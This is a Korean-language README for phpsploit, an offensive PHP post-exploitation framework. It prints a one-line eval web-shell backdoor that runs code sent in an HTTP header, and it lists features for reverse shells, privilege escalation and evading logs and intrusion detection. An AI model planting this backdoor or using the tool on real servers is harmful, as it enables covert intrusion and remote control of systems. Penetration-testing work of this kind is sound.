_{만든 사람
nil0x42 및
기여자들}

난독화된 통신은 표준 클라이언트 요청과 웹 서버의 상대적 응답 하에 HTTP 헤더를 이용하여 이루어지며, 작은 다형성 백도어를 통해 터널링됩니다:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

효율적: 권한 상승 작업을 자동화하는 20개 이상의 플러그인
- PHP 보안 제한을 우회하여 명령 실행 및 파일 시스템 탐색
- 클라이언트와 대상 간 파일 업로드/다운로드
- 로컬 텍스트 편집기를 통해 원격 파일 편집
- 대상 시스템에서 SQL 콘솔 실행
- 역방향 TCP 셸 생성
은밀함: 이 프레임워크는 편집증적인 사람들을 위해 편집증적으로 만들어졌습니다
- 로그 분석 및 NIDS 시그니처 탐지에 거의 보이지 않음
- 안전 모드 및 일반적인 PHP 보안 제한 우회
- 통신이 HTTP 헤더에 숨겨짐
- 로드된 페이로드가 난독화되어 NIDS 우회
- http/https/socks4/socks5 프록시 지원
편리함: 많은 핵심 기능을 갖춘 강력한 인터페이스
- 모든 옵션에 대한 상세 도움말 (help 명령)
- 클라이언트와 서버 모두에서 크로스 플랫폼
- CLI는 자동 완성 및 다중 명령 지원
- 세션 저장/로드 기능 및 지속적인 히스토리
- 대용량 페이로드(예: 업로드)를 위한 다중 요청 지원
- 강력하고 고도로 구성 가능한 설정 엔진 제공
- user-agent와 같은 각 설정에는 _다형성 모드_가 있음
- 플러그인 상호 작용을 위한 사용자 정의 가능한 환경 변수
- 완전한 플러그인 개발 API 제공

기여자

다음 분들께 감사드립니다:

이 프로젝트는 all-contributors 사양을 따릅니다. 모든 종류의 기여를 환영합니다.

_nil0x42 💻 🚇 🔌 ⚠️	_shiney-wh 💻 🔌	_{Wannes Rombouts} 💻 🚧	_{Amine Ben Asker} 💻 🚧	_{jose nazario} 📖 🐛	_{Sujit Ghosal} 📝	_Zerdoumi 🐛
_{tristandostaler} 🐛	_{Rohan Tarai} 🐛	_{Jonas Lejon} 📝

phpsploit